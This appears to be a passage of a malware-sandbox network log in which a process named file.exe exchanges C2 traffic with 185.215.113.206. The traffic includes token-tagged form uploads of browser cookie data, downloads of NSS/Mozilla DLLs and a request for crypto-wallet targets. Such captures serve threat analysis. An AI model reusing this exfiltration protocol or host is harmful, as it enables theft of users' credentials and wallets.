3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DAFBGHCAKKFCAKEBKJKK--
Dec 7, 2024 22:40:23.248804092 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 22:40:23.356039047 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="file"------HCBGDGCAAKJEBFIDBAAA--
Dec 7, 2024 22:40:24.290013075 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49790	185.215.113.206	80	4340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 22:40:35.876912117 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file"------KJEGCFBGDHJJJJJKJECF--
Dec 7, 2024 22:40:37.700360060 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 22:40:38.029586077 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 22:40:38.467067003 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 7, 2024 22:40:38.467139006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 7, 2024 22:40:38.467150927 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 7, 2024 22:40:38.467387915 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 7, 2024 22:40:38.467449903 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 7, 2024 22:40:38.467461109 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 7, 2024 22:40:38.467472076 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 7, 2024 22:40:38.467971087 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 7, 2024 22:40:38.467983961 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 7, 2024 22:40:38.467995882 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 7, 2024 22:40:38.475476027 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 7, 2024 22:40:40.068188906 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 22:40:40.505048037 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 7, 2024 22:40:41.339647055 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 22:40:41.776679039 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 7, 2024 22:40:42.438678980 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 22:40:42.876080036 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 7, 2024 22:40:45.915997982 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 22:40:46.353430986 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 7, 2024 22:40:46.972506046 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 22:40:47.409894943 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 7, 2024 22:40:47.904886007 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 22:40:48.999675989 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 22:40:49.043386936 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="message"wallets------EHJJKFCBGIDGHIECGCBK--
Dec 7, 2024 22:40:49.482639074 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 